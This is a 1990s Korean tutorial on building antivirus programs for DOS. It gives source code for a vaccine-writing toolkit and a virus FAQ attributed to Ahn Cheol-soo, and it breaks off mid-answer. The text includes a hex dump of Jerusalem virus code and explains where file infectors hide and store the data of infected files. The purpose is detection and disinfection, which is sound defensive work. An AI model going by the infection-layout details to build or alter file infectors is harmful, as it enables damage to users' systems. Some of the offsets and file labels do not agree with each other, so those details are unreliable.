해크 Hack 기본교범 2


안녕하세요.

9번째 시간입니다.

백신 제작과 바이러스 치료에 대해서 살펴보겠습니다.
소스로 쌍용컴퓨터에서 개발한 백신(C소스)을 실었습니다.

그리고 안철수님과의 30문 30답도 있으니 참조바랍니다.


6. 백신 제작

6-1 터보-백신 툴 킷 제작 & 소개

V3의 아성에 도전한 터보백신의 백신 제작 툴킷을 소개하겠다.
C 로 된 소스와 라이브러리 , 헤더화일, 프로젝트 화일과 실행화일로 구성된다.
제작하여 공개해주신 임형택님께 감사드린다.

제작자 : 임 형 택 (Lim Hyoung-Taek)

6-1-1 제작 동기

   앞으로 증가하는  바이러스들에  대해서 소수의 백신 제작자들만으로는
   바이러스 퇴치가 어려울 것으로 보이기 때문에 누구라도 짧은 시간안에
   아주 쉽게 백신을 제작할수 있도록  하기 위해서  표준화된 라이브러리
   형태의 툴킷을 제작하게 되었습니다.

6-1-2 특징

   1. C언어로 작성된 라이브러리 형태로 제공 됩니다.

   2. 예루살렘  바이러스와  같은  일반적인  바이러스의   경우  몇개의
      필드로  구성된  구조체에  바이러스  정보를 넣은후  Scan_Virus()
      라는  함수의  호출  한번으로 간단하게 바이러스를 진단/치료 할수
      있는 백신을 제작할수가 있습니다.

   3. 바이러스를  분석할수  있을 정도의  어셈블리어에  대한  기본적인
      지식만으로도 사용하실 수 있을 정도로  매우  쉽게 백신을  작성할
      수 있다는 장점이 있습니다.  또한  C언어를  모르시는 분도 압축화
      일내에 포함되어 있는  예제를  참고로 쉽게  해당 바이러스에 대한
      백신을 제작할 수가 있습니다.


6-1-3   ALPHA(알파 버젼)의 제한점들

   Turbo Vaccine Tool Kit  V.ALPHA  에는   다음과   같은   제한점들이
   있습니다.

   1. ALPHA 버젼은  정식 버젼이 나오기 전의 테스트 버젼으로 아직 지원
      되지 않는 기능이 많이 있습니다.

   2. 본 툴 키트는 Turbo-C 2.0과 Turbo-Assembler 3.0으로 제작되었으며,
      소형(Small)모델만을 지원합니다.

   3. 파일  바이러스에  대한  백신 만을  제작할  수가  있습니다. (부트
      바이러스에  대한  진단/치료  기능은  차후  버젼에서  추가할 예정
      입니다.)

   4. 기억 장소에 상주해 있는 파일 파이러스를 치료하는 방법은 바이러스
      가 바꿔놓은 INT 21H번의 벡터를 원래대로 돌려 놓음으로써 바이러스
      를 무력하게 하는 방법을 사용합니다.  (INT 8H, INT 1A, INT 1C등의
      벡터를 바이러스가 바꿔놓는 경우에 대해서는 복구하지 않읍니다.)
      또한 바이러스가 상주한후에 또 다른 INT 21H를 가로채는 프로그램이
      상주할 경우에 대해서는 바이러스를 진단할수 없습니다.

   5. 겹쳐쓰기형 바이러스의 경우는 치료(삭제)기능을 지원하지 않읍니다.

   6. COM형태의  파일은  전위형과  단순 후위형의  경우만  치료가  가능
      합니다. (이에  대한 자세한 설명은 밑에 기술한 컴퓨터  바이러스의
      형태를 참고하시기 바랍니다.)

   7. 감염된 화일의 진단시  자체 암호화를  사용하는 바이러스는  진단이
      불가능 합니다.

   8. 감염된 화일의  치료시  암호화를 사용하는  바이러스는  치료 할 수
      없습니다.

   9. 파일 검사시 모든 화일 검사 옵션만을 제공 합니다.  (단,  디렉토리
      지정은 가능합니다.)


6-1-4 기억장소상에서 존재하는 바이러스의 진단/치료 원리

   실제적으로 분석한 바이러스를 툴킷에 적용하는 방법만을 설명하였다.

   1. 툴 키트를 이용한 백신 제작 예제

      [예제]


      VIRINFO_T VI = {
         "1994-11-30, My Name",  /* Vaccine : 1994-11-30, .... */
         "Jerusalem",            /* 바이러스 이름 */
         { 7,                    /* 진단 코드 길이 (1) */
           0x8e, 0xd0, 0xbc, 0x00, 0x07, 0x33, 0xc0 },  /* 진단 코드 (2) */
         1808,                   /* 바이러스의 길이 */
         { 0x144L,               /* 메모리에 있는 바이러스 코드 옾셋 (3) */
           0x25b,                /* 바이러스 상주시의 INT 21H 오프셋 (4) */
           0x17                  /* 원래의 INT 21H가 있는 오프셋 (5) */
         },
         { 0x7fL,                /* EXE형 파일에 있는 바이러스 코드 옾셋 (6) */
           0x45L,                /* 원래의 SS가 있는 오프셋 (7) */
           0x43L,                /* 원래의 SP가 있는 오프셋 (8) */
           0x47L,                /* 원래의 IP가 있는 오프셋 (9) */
           0x49L                 /* 원래의 CS가 있는 오프셋 (10) */
         },
         { VT_HEAD,              /* Virus Type: 전위형 */
           0xafL,                /* COM형 파일에 있는 바이러스 코드 옾셋 (11) */
           0L,                   /* 원래 화일의 앞부분이 있는 옾셋 */
           0,                    /* 원래 화일의 앞부분의 바이트 (갯수) */
         }
      };

   2. 램상주한 바이러스의 덤프 코드

      * 예루살렘 바이러스

      0140              8E D0 BC 00-07 33 C0 8E D8 2E A1 4B       .....3.....K
      0150  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3   ......M.........
      0160  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00   .......3..J...1.
      0170  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19   .!.!5.!.........
      0180  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26   ....[..!%.!..1.&
      0190  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05   ..,.3....2...&8.
      01A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35   .........K.....5
      01B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00   ...PSQR.*.!.....
      01C0  00 81 F9 C3                                       ....

      기억장소(램)에 상주해 있는 예루살렘 바이러스를 덤프해 보면  위와
      같은 형태가 됩니다.

      특히  예제에서   진단  코드로  사용할  코드  <7개 (1)>는  오프셋
      <144h (2)> 에 위치 합니다. ( <8E D0 BC 00 07 33 C0 (3)> )

   3. 21H 벡터의 변경과 치료

      * 예루살렘 바이러스

        원래의 21H 벡터를 오프셋 <17H (5)>에 저장합니다.

        바이러스  상주후의 21H 벡터는 오프셋 <24BH (4)>로 변경 됩니다.

        주의: 원래의 21H를 벡터를 바이러스가 자신이 상주한 코드  세그
              먼트내에 저장한 경우에만 치료가 가능 합니다.


           다섯. 파일에 감염되는 바이러스의 형태와 진단/치료 원리

   바이러스 형태는 여러가지가 있지만 여기서는  툴 키트를  이용한  백신
   제작이  목적이므로 ALPHA(알파)버젼에서 지원하는 바이러스의 형태들에
   대해서만 설명하도록 하겠습니다.

   1. EXE화일을 감염시키는 바이러스의 형태들

      [그림 1]
      ┌───────────────┬──────┐
      │  원래 화일                   │바이러스    │
      └───────────────┴──────┘

   2. COM화일을 감염시키는 바이러스의 형태들

      1) 전위형 바이러스

         [그림 2-1]
         ┌────────┬───────────────┐
         │바이러스        │   원래 화일                  │
         └────────┴───────────────┘

         전위형 바이러스는 위의 그림과 같이 화일의 처음에  바이러스가
         존재하며,  실행시  바이러스가  제일 먼저  제어권을  획득하여
         감염작용을 합니다.

      2) 후위형 바이러스 (단순 후위형 바이러스)

         [그림 2-2]
          ───────┬──────────────────┐
         │JMP XXXX  │  원래 화일           껦바이러스    │
         └──────┴──────────────────┘
                                           XXXX

         단순 후위형 바이러스는  위의 그림과  같이  처음에  JMP 코드를
         이용하여  바이러스가  있는곳(XXXX)로  제어권을 넘겨서  실행시
         바이러스가 제일 먼저 제어권을 가지도록 합니다.

      3) 분산 후위형 바이러스

         [그림 3]
         ┌─────────────┬──────┬─────┐
         │ JMP XXXX 껦원래 화일 1 │   바이러스 │원래 화일│
         └─────────────┴──────┴─────┘
                                 XXXX

         분산  후위형  바이러스는  위의  그림과 같이  바이러스는  비록
         후위에  존재  하지만  원래  화일의   코드를  분산시켜서  저장
         합니다.  바이러스  제작자가  치료를  좀더  어렵게 하기 위해서
         제작했다고  볼 수  있습니다.  ALPHA(알파)  버젼에서는  이러한
         형태의  바이러스에  대한 치료기능은 지원되지 않읍니다.  (위의
         그림에서는 원래화일이 2부분으로 나뉘어져 있지만  실제로는  더
         많은  부분으로  나누어서  저장해서  치료를  더  어렵게 만드는
         경우도 있습니다.)

   4. EXE화일을 감염시키는 바이러스의 진단 원리

      * 예루살렘 바이러스

      00C5  CLD
      00C6  PUSH DS

      0140              8E D0 BC 00-07 33 C0 8E D8 2E A1 4B       .....3.....K
      0150  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3   ......M.........
      0160  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00   .......3..J...1.
      0170  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19   .!.!5.!.........
      0180  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26   ....[..!%.!..1.&
      0190  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05   ..,.3....2...&8.
      01A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35   .........K.....5
      01B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00   ...PSQR.*.!.....
      01C0  00 81 F9 C3                                       ....

      예루살렘 바이러스의 경우 오프셋 c5h번지 부터 시작 합니다.
      여기서 144h - c5h = 7fh
      즉, COM화일 진단 코드 오프셋은 <7fh (6)> 이 되며,  바이러스 진단
      코드는 244h 부터인 <8E D0 BC 00 07 33 C0 (2)>의 <7 (1)>개를 진단
      코드로 삼음을 알수 있습니다.

   5. COM화일을 감염시키는 바이러스의 진단 원리

      * 예루살렘 바이러스

      0100  JMP 195
        .
        .
        .
      0195  .......    -> 백신 툴킷에서 사용하는 시작 오프셋

      0240              8E D0 BC 00-07 33 C0 8E D8 2E A1 4B       .....3.....K
      0250  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3   ......M.........
      0260  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00   .......3..J...1.
      0270  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19   .!.!5.!.........
      0280  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26   ....[..!%.!..1.&
      0290  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05   ..,.3....2...&8.
      02A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35   .........K.....5
      02B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00   ...PSQR.*.!.....
      02C0  00 81 F9 C3                                       ....

      COM화일은 오프셋 100h부터 시작한다는 것은 누구나 알 것입니다.
      예루살렘  바이러스의   경우  195h번지  부터  시작한다.   (후위형
      바이러스도 마찬가지로 JMP XXXX한후의 XXXX를 툴킷에서 시작 오프셋
      으로 사용합니다.)
      여기서 244h - 195h = 0afh
      즉, COM화일 진단 코드 오프셋은 <0afh (11)> 이 되며, 바이러스 진단
      코드는 244h 부터인 <8E D0 BC 00 07 33 C0 (2)>의 <7 (1)>개를 진단
      코드로 삼음을 알수 있습니다.

   6. EXE화일을 감염시키는 바이러스의 형태에 따른 치료 원리

      [그림 6-1]
    ┌─────────────────────────┐
    │   원래 화일 │ 원래의 EXE헤더 정보 │바이러스   │
    └─────────────────────────┘

      [그림 6-2]
       ──────┬─────────────────
      │ 원래 화일 │ 원래의 EXE헤더 정보 껦바이러스 │
      └─────└─────────────────┘

      [그림 6-3]
     ┌──────┬─ ─────────┬─────┐
     │  원래 화일 │ 원래의 EXE헤더 정보 │바이러스 │
     └──────┴───────────┴─────

      대부분의  바이러스는   EXE헤더  정보중  SS, SP, IP, CS만을  저장
      합니다. (단, SS, SP, IP, CS의 저장 순서는 바이러스에 따라서 다릅
      니다.)

      원래의  EXE헤더  정보  저장  형태는   3가지의   형태가  있을수가
      있습니다. 분산형의 경우는 3번째 형태에 포함시켰습니다.

      * 예루살렘 바이러스

      SS를 오프셋 <45h (7)> 에 저장해 둡니다.
      SP를 오프셋 <43h (8)> 에 저장해 둡니다.
      IP를 오프셋 <47h (9)> 에 저장해 둡니다.
      CS를 오프셋 <49h (10)> 에 저장해 둡니다.

      * 주의: EXE헤더  정보를 저장하고 있는 오프셋은 예루살렘 바이러스
              와 같이 0h부터 시작하는 경우와  IP에서부터를  시작점으로
              삼는  경우가  있습니다.  이 부분은 바이러스 분석시 알 수
              있습니다.

   7. COM화일을 감염시키는 바이러스의 형태에 따른 치료 원리

      1) 전위형 바이러스

         전위형 바이러스의 경우는  [그림 2-1]에서도 볼수 있듯이 앞부분
         에 바이러스가 감염되므로 이를 제거하고, 뒷부분에 있는  원래의
         화일 내용을 다시 앞부분으로 옮겨주면 됩니다.

      2) 후위형 바이러스 (단순 후위형 바이러스)

         [그림 5-1]
        ┌──────┬─────┬───────────────┐
        │ JMP XXXX│ 원래 화일│ 원래화일의 앞부분 │바이러스│
        └───── ──────┴──────────┴─────
                                                    XXXX
         [그림 5-2]
       ┌────────────┬─────┬──────────┐
       │  JMP XXXX│ 원래 화일 │ 바이러스│ 원래화일의 앞부분 │
       └─────────────────────────────┘
                               XXXX
         [그림 5-3]
      ┌───────────────────────────────────┐
      │ JMP XXXX│ 원래 화일│ 바이러스1  │원래화일의 앞부분│ 바이러스2  │
      └───────────────────────────────────┘
                               XXXX

         위의 그림들에서와 같이 후위형 바이러스의 경우는  원래  화일의
         앞부분을 바이러스 내부에 저장해 둡니다. 치료 원리는  이  원래
         화일의 앞부분을 다시 원위치에 써주고, 바이러스 부분을  제거해
         주는 방식을 취합니다.  여기서 원래 화일의 앞부분을 저장할때의
         형태는 위의 그림처럼 3가지의 형태가 있을수 있습니다.

         주의: EXE 헤더 정보를 연산이나 암호화 연산을 해서 저장해 두는
               경우는 치료할 수 없습니다.

      3) 분산 후위형 바이러스

         단순  후위형 바이러스와 치료원리는 동일하며, 단지 원래 화일이
         분산되어서  기록되기 때문에 치료시 이를 모두 연결해 주는 작업
         이 필요하게 됩니다.  본 ALPHA(알파) 버젼에서는 이에 대한 치료
         기능을 지원하지 않읍니다.  (대부분의  바이러스는  단순 후위형
         형태를 가지기 때문에 ALPHA(알파) 버젼만으로도 대부분의 바이러
         스가 치료 가능 합니다.)


6-1-6 이 프로그램 사용전의 주의사항

   1. 어느 정도 바이러스에 대해서 아는 분이 본 내용을 읽는다는  가정하
      에 기초적인  설명은  다루지 않았으며,  툴 킷을 이용한 백신제작에
      필요한 내용들만을 기술하고 있습니다.

   2. 이 툴킷을 이용하여 제작한 백신은 절대 상업적인 목적으로 사용하는
      것은 허락하지 않음을 알려 드립니다. 단, 본 툴 킷을 이용하여 제작
      한 백신을 통신망등에 공개하건 개인적인  목적으로  사용건은  자유
      입니다.

   3. 제작자는  본 라이브러리의 제작에 최선의 노력을 경주하여 제작하였
      습니다. 본 라이브러리를 이용하여 제작한 백신에  문제가  있을시는
      툴킷을 이용하여 백신을 제작한 자신에게 책임이 있음을 알려 드리며
      이 라이브러리로 인하여  발생하는  어떠한 문제점에 대해서도 툴 킷
      제작자는 책임이 없음을 알려 드립니다.

   4. 본 라이브러리의 내용을 수정하는 행위등은 절대로 허락하지 않으며,
      압축화일 내에 포함된 소스에 대해서도 어떠한 변형도 불가 합니다.


6-1-7 향후 발전 계획

   1. 본 ALPHA(알파) 버젼은 아직 테스트 버젼이라서 부족한  기능이 많이
      있지만  차후 버젼에서는 좀더  완벽한 기능과 완벽한 설명서와 함께
      만나 뵙도록 하겠습니다.

   2. 아직 ALPHA(알파) 버젼에서는 부트 바이러스에 대한 진단/치료  기능
      은 다루지 못했지만  차후 버젼에서는  꼭  이들 또한 다루도록 하겠
      습니다.

   3. 아직 툴킷  라이브러리에 대한 최적화를 하지 않은 관계로 생성 화일
      의 크기가 다소 크다는 느낌을 받을수 있지만 차후 버젼업시에는
      최적화를 하여 더욱 컴팩트한 모습을 보여드리도록 하겠습니다.


6-1-8 제작자의 연락처

   1. 하이텔 ID : HTLim
      나우콤 ID : hello
      천리안 ID : zpihello

   2. 주소 : 151-051 서울특별시 관악구 봉천 1동 692-25 12/1
             임 형택


6-2 터보 백신 툴 킷 소스

C언어로 작성된 라이브러리 형태로 제공 된다.
바이러스를  분석할수  있을 정도의  어셈블리어에  대한  기본적인
지식만으로도 사용하실 수 있을 정도로  매우  쉽게 백신을  작성할
수 있다는 장점이 있다.


6-2-1 에루살렘 바이러스 백신 프로그램 C 소스

/* FileName: VI576VAC.C

   Discription:  Turbo Vaccine Tool Kit 를 이용한
                 예루살렘 바이러스에 대한 백신 프로그램

   Date: 1994/12/02
   Programmer: Lim Hyoung-Taek
*/

#include "tvtk.h"   /* 헤더 파일 */

main(int argc, char *argv[])
{
    VIRINFO_T VI = {
         "1994-12-02, My Name",      /* Vaccine : 1994-11-30, .... */
         "Vienna.576",               /* 바이러스 이름 */
         { 7,                        /* 진단 코드 길이 */
           0x8b, 0xf2, 0xb8, 0x0f, 0xff, 0xcd, 0x21 },  /* 진단 코드 */
         576,                        /* 바이러스의 길이 */
         { NO_SCAN,                  /* 메모리에 있는 바이러스 코드 옾셋 */
           0L,                       /* 바이러스 상주시의 INT 21H 오프셋 */
           0                         /* 원래의 INT 21H가 있는 오프셋 */
         },
         { NO_SCAN,                  /* EXE형 파일에 있는 바이러스 코드 옾셋 */
           0L,                       /* 원래의 SS가 있는 오프셋 */
           0L,                       /* 원래의 SP가 있는 오프셋 */
           0L,                       /* 원래의 IP가 있는 오프셋 */
           0L                        /* 원래의 CS가 있는 오프셋 */
         },
         { VT_TAIL,
           0x11,                     /* COM형 파일에 있는 바이러스 코드 옾셋 */
           0x1bfL,                   /* 원래 화일의 앞부분이 있는 옾셋 */
           3,                        /* 원래 화일의 앞부분의 바이트 */
         }
    };

    Scan_Virus(argc, argv, &VI);  /* 바이러스 검색 함수를 호출한다. 이 함수 하나로
                                     검색과 치료가 모두 이루어 진다. */
}


6-2-2 터보 백신 툴 킷 헤더 소스

1)

/* FileName: TVTK.H

   Discription: 바이러스 검색과 치료를 위한 정보 헤더 화일

   Date: 1994/11/30
   Programmer: Lim Hyoung-Taek
*/

#include "typedef.h"

#define VT_HEAD 0
#define VT_TAIL 1

#define NO_SCAN -1L

typedef struct {
    byte show_string[50];
    byte vir_name[50];      /* 바이러스 이름 포인터 */
    byte vir_code[50];      /* 파일에 있는 바이러스 코드 포인터
                            = { 코드 길이, 코드들 ... }; */
    word vir_size;              /* 바이러스의 길이 */

    struct {
        long vir_code_off;      /* 메모리에 있는 바이러스 코드 오프셋 */
        word vir_int21_off;         /* 바이러스 상주시의 INT 21H 오프셋 */
        word org_int21_off;         /* 원래의 INT 21H가 있는 오프셋 */
    } mem;

    struct {
       long vir_code_off;      /* 파일에 있는 바이러스 코드 오프셋 */
       long org_ss_off;        /* 원래의 SS가 있는 오프셋 */
       long org_sp_off;        /* 원래의 SP가 있는 오프셋 */
       long org_ip_off;        /* 원래의 IP가 있는 오프셋 */
       long org_cs_off;        /* 원래의 CS가 있는 오프셋 */
    } exe;

    struct {
       word vir_type;
       long vir_code_off;   /* 파일에 있는 바이러스 코드 오프셋 */
       long org_head_off;
       word org_head_nbytes;
    } com;
} VIRINFO_T;                    /* Virus Information */



2)

/* FileName: TYPEDEF.H

   Discription: Type definitions

   Date: 1994/11/30
   Programmer: Lim Hyoung-Taek
*/

#ifndef TYPEDEF_H
   #define TYPEDEF_H

typedef unsigned char byte;
typedef unsigned      word;

#endif




끝으로 안철수님의 컴퓨터 바이러스 30문30답을 실었다.

   최근 신종 컴퓨터 바이러스들이 다시  급격하게 증가하고 있고,  이에 따른
피해 사례도 급증하고 있다. 92년에 17종 발견됐던 것이 93년에는  34종, 94년
에는 70종으로 매년 2개 이상 급증하는 추세이다. 특히 한국산  바이러스가 차
지하는 비중이 날이  갈수록 높아져 큰 문제점으로  지적되고 있다.

  그러나 아직까지도 많은 컴퓨터  사용자들이 컴퓨터 바이러스에 대한 잘못된
지식들로 인해 어려움을  겪고 있다. 컴퓨터 보급의  급격한 증가와 함께 크게
늘어난 초보 사용자들의  경우, 체계적이고 전문적인 정보  및 교육 부재로 그
피해는 더욱 심각한 형편이다.

   필자들은 특히 하이텔, 천리안, 나우누리,  포스서브 등을  통해서 매일 20
∼30통의 컴퓨터 바이러스에 대한 직접,  간접적인 질문을 받고 있다. 그 수는
1년에 1만통 정도이다. 내용들을 자세히 분석해본 결과, 신종 컴퓨터 바이러스
에 대한  것을 제외하면  약 30가지 정도의 제한된 범위 내에서 반복되고 있다
는 사실을  발견할 수 있었다.  즉, 여러 사람들이 번갈아 가면서 동일한 질문
을  매일 하는 셈이다.  따라서 이러한  공통적인 질문들에 대해서는 모범답안
(?)을 만들어 일반 사용자들에게 알려야  할 필요성을 느끼게 되었다. 이 글은
94년 한 해동안  받은 컴퓨터 바이러스에 대한   질문들을 내용별로 분류하여,
대답 및 해결책들을  설명한 것이다. 컴퓨터   바이러스에 대한 정확한 정보의
부재로 인해 겪게  되는  어려움을 조금이라도 줄일 수 있는 계기가 되길 바란
다.

                      -----------------------
             컴퓨터 바이러스의 개념
                      -----------------------

1. 컴퓨터 바이러스란 무엇인가?

   컴퓨터 바이러스에 대해서 아직도 잘못된 개념을 가지고 있는  사람은 초보
자 뿐만 아니다. 컴퓨터를 오래 사용한 사람들  가운데도 의외로 많다. 컴퓨터
바이러스가 처음 발견된  초창기만 해도 컴퓨터 바이러스를 잡는다고 컴퓨터에
약을 뿌리는 웃지 못할  일도 있었고, 미켈란젤로 바이러스가 활동하는 날이라
고 관공서에서 컴퓨터들의 전원을  아예 내려버린 기막힌 일도 있었다. 조금씩
나아지고는 있지만 아직도   컴퓨터 바이러스를 '컴퓨터 기계 자체에 서식하며
전원을 꺼도 살아남고, 이것이  디스켓에 묻어서 다른 컴퓨터에 옮는  것'이라
고 오해하는 사람들이 있어서 도저히 대화(?)가 되지 않는 경우도 있다.

   컴퓨터 바이러스란 살아있는 바이러스가  아니라 프로그램의 일종이며,  사
용자 몰래 자기 자신을 다른 프로그램에 복사하는 특징을 가진다. 살아있는 바
이러스가 유전  인자를 가지고 자기 자신을 복제하는 명령어를 가지고  있다고
해서 그러한 이름이  붙여진 것이지, 살아있는   바이러스와 직접 관계가 있는
것은 아니다.

   컴퓨터 바이러스는 자기 복사  활동 이외에도 부작용(side effect)이 있다.
즉, 화면에 이상한 말을  출력한다던가 파일을 지워버리거나  하드디스크를 못
쓰게 만드는 일을 한다. 이것은   마치 생물학적인 감기 바이러스가  인체에서
증식만 하는 것이 아니라 감기라는   병을 일으키는 것과 유사하다. 컴퓨터 바
이러스가 사용자들의 경계 대상이 되는 이유도 바로 이러한 부작용때문이다.

2. 자료파일(data file)에도 컴퓨터 바이러스가 감염될 수 있는가?

   자료 파일에도 컴퓨터   바이러스가 감염될 수 있다.   그러나 감염된 자료
파일은 실행되지  않기 때문에 다른 프로그램이나 자료  파일들을 다시 감염시
킬 수는 없다. 대신 자료  파일은 감염되면서 일부 자료들이 파괴된다. 따라서
자료 파일은 컴퓨터  바이러스에 감염된다기 보다는 파괴되어 버린다는 표현이
보다 정확할 것이다.

3.CMOS RAM 이나 ROM에도 컴퓨터 바이러스가 들어갈 수 있는가?

   94년 4월에 발견된 CMOS 파괴 바이러스(V3  최신버전에서는 안티  CMOS 바

러스라고 이름이 바뀌었다)는 많은  이용자들에게 피해를 주었다. 또한 이름때
문에 바이러스가 CMOS RAM에 들어간다고 잘못 알고 있는 사람들도 적지 않다.

   CMOS RAM 은 AT이상의    IBM-PC 호환기종에서 시스템에 대한  정보를 저
장하
는데 사용하는  64 바이트 크기의 자료영역(data  area)으로, 컴퓨터의 전원을
끄더라도 자료를 계속  보관할  수 있는  곳이다. 한마디로 컴퓨터 바이러스는
이 영역에 감염될  수는 없다. 그 이유는  컴퓨터 바이러스가 존재하기에는 이
영역의 크기가  64바이트로 너무 작으며,  만약 감염될 수 있다 해도  이 영역
에 존재하는 프로그램을 실행시킬 수 없기 때문이다.

   CMOS 파괴   바이러스(Anti CMOS바이러스)는  CMOS RAM에  들어가는  것
이 아
니라 CMOS RAM의 일부 정보를 변형시키기 때문에 붙여진 이름이다.
  또한 ROM의 내용을 변형시키거나 감염되는 컴퓨터 바이러스도 없다. 단, ROM
을 제작할  때 의도적으로  컴퓨터 바이러스나 트로이 목마 프로그램을 집어넣
는 경우에는 ROM에 존재할 수도  있다. 실제로 지난해말 외국에서 이러한 일이
발생한 적이 있었다.

4. 컴퓨터 하드웨어에 물리적인 손상을 입히는 컴퓨터 바이러스가 있는가?

   컴퓨터 바이러스는 소프트웨어의  일종이기 때문에, 소프트웨어적으로 가능
한  일만 할 수  있다.  즉, 프로그램과 자료들을 지우거나 하드디스크를 인식
하지 못하게  만드는 일은 가능해도 컴퓨터의 기억 장치에 물리적인 손상을 입
히거나 하드디스크를 물리적으로 파괴할  수는 없다. 강조하건데, 컴퓨터 바이
러스는  소프트웨어의 일종이므로 컴퓨터 바이러스에 대해서  너무 미신적으로
두려워하거나 근거없는 소문에 현혹되지 않도록 한다.

5. '13일의 금요일' 바이러스는 13일의 금요일에만 감염되는가?

   13일의 금요일 바이러스는   예루살렘 바이러스와 같은 바이러스이다. 13일
의  금요일 바이러스라고 이름이 붙은 이유는, 13일의 금요일이 되면 실행되는
프로그램들을 지워버리는 특징을 가지고 있기 때문이다. 그러나 다른 프로그램
들을 감염시키는 것은 오히려  13일의 금요일을 제외한 모든 날에 이루어진다.
13일의 금요일 바이러스라고  해서 13일의 금요일만   주의하면 된다는 생각은
잘못됐다.

6.'미켈란젤로  바이러스'는 3월   6일에 하드디스크의 내용을  모두 지워버린
  다고 하는데,   그러면 3월 6일에만   컴퓨터를 사용하지   않으면 피해가 없는

  가?

   미켈란젤로 바이러스는 3월  6일을  제외한 모든 날에는 다름  컴퓨터를 감
염시키다가 3월 6일에 하드디스크의 내용을 지워버리는 부트 바이러스이다. 그
러나 미켈란젤로  바이러스는 컴퓨터의  내장 시계가 잘못 맞추어져 있으면 다
른 날인데도 3월 6일로 판단해 하드디스크의 내용을 지워버릴 수 있다.

   또한 많은 컴퓨터 바이러스들이 3월 6일  이외의 다른 날에 파괴 활동을 하
므로 3월 6일에 컴퓨터 바이러스에  의한 피해를 막을 수 없다. 컴퓨터 바이러
스에 피해를  입지 않기  위해서는 특정 날짜에  컴퓨터를 사용하지 않는 소극
적인 대책보다는 백신 프로그램을 사용하는 보다 근본인 대책이 필요하다.


7. 백신 프로그램만 사용하면 컴퓨터 바이러스에 대해서 걱정하지 않아도 되는
   가?

   백신 프로그램이란 사용자들이 컴퓨터 바이러스에 대처할 수 있도록 도와주
는 한 가지 도구에 불과하며, 나름대로의 한계점을 가지고 있는 프로그램이다.
그러나 이 한계점은 사용자의 노력과
주의로 어느 정도 극복될 수 있다.

   백신 프로그램은 지금까지 발견된  컴퓨터 바이러스에 대해서는 진단 및 치
료가 가능하지만 새롭게 만들어진 컴퓨터 바이러스에 대해서는 퇴치할 수 있는
새로운 버전이 만들어지기 전에는 아무런 효력이 없다. 마치 의사가 실제 백신
을 환자에게 주사하기 전에 이 백신이 어떠한 병을 예방할 수 있는지를 정확하
게 파악해야 하며, 오래되어 부패 염려가 있는 백신의 사용을 피하고, 피부 부
위를 소독한 다음에 주사를 하는  것과 유사하다. 즉, 백신 프로그램의 한계점
을 파악하고 최신 버전을 올바로 사용하는 것은 사용자의 목이다.

   이러한 한계점을 극복하기  위해서는 사용자의 입장에서 컴퓨터 바이러스에
대한 예방법을 충실히 지키고, 2∼3개 정도의 최신 버전의 백신 프로그램을 같
이 사용하는 것이 좋다.

8. 백신으로 치료한 다음에 프로그램이 실행되지 않는다.

   일부 EXE 파일들은 치료 후에  실행 되지 않을 수 있다. 컴퓨터 바이러스가
EXE파일에 감염될  때는 EXE파일의 선두영역(header)에  있는 정보를 이용하여
프로그램이 끝난 바로 다음에 컴퓨터
바이러스를 위치시킨다.

   그러나 일부 EXE파일, 특히  내부에 오버레이를 가지고 있는 파일은 선두영
역의 내용이 정확하지 않은  경우가 있으며, 이러한 파일에 컴퓨터 바이러스가
감염되면 원래의 파일이 파괴되어  버린다. 따라서 이러한 파일은 백신으로 바
이러스가 치료된 다음에도  프로그램이 실행되지 않는다.일반적으로 컴퓨터 바
이러스에 감염된 후 실행되지 않는  프로그램은 치료 후에도 실행되지 않는 것
이 보통이다. 이러한 프로그램들은 다시 복사해서 사용하는 것이 바람직하다.

9. 백신 프로그램으로 치료를 했음에도 불구하고 자꾸 같은 컴퓨터 바이러스가
   재발한다.

   만약 치료한  다음에도 계속 같은 컴퓨터  바이러스가 재발한다면 어디엔가
컴퓨터 바이러스가 숨어있는 것으로 판단할 수 있으며, 이 경우에는 다음과 같
은 순서로 검사한다.

   첫째, V3나 SCAN에서 /A 옵션을  사용해서 다시 검사한다. /A 옵션은 'ALL'
을 뜻하는 것으로, 모든 파일들을  검사하라는 명령이다. V3나 SCAN은 아무 지
정도 하지 않으면 일반적인  실행 파일과 오버레이 파일만을 검사하기 때문에,
특수한 확장자(extension)를 가진 오버레이 파일에 컴퓨터 바이러스가 숨어 있
는 경우에는 찾아내지 못한다. 따라서 먼저 /A 옵션을 사용해서 모든 파일들을
다시 검사하는 것이 좋

   둘째, 모든 플로피디스크를 검사한다. 보통 하드디스크 검사는 열심히 하면
서도 플로피디스크 검사는 소홀한 경우가 많다. 이때 하드디스크를 치료하더라
도 플로피디스크에서 계속 컴퓨터 바이러스가 옮겨올 수 있다. 특히 학교나 회
사에서 컴퓨터  바이러스가 재발할 경우는  집에서 사용하는 플로피디스크까지
모두 수거해 검사하도록 한다.

   셋째, LZEXE, PKLITE, DIET 등의 실행 파일 압축 프로그램으로 압축된 실행
파일 내부에 컴퓨터 바이러스가 존재할 수 있다. 위의 과정들을 거친 다음에도
컴퓨터 바이러스를 찾아내지 못한다면 압축된 실행 파일들을 압축된 방식에 따
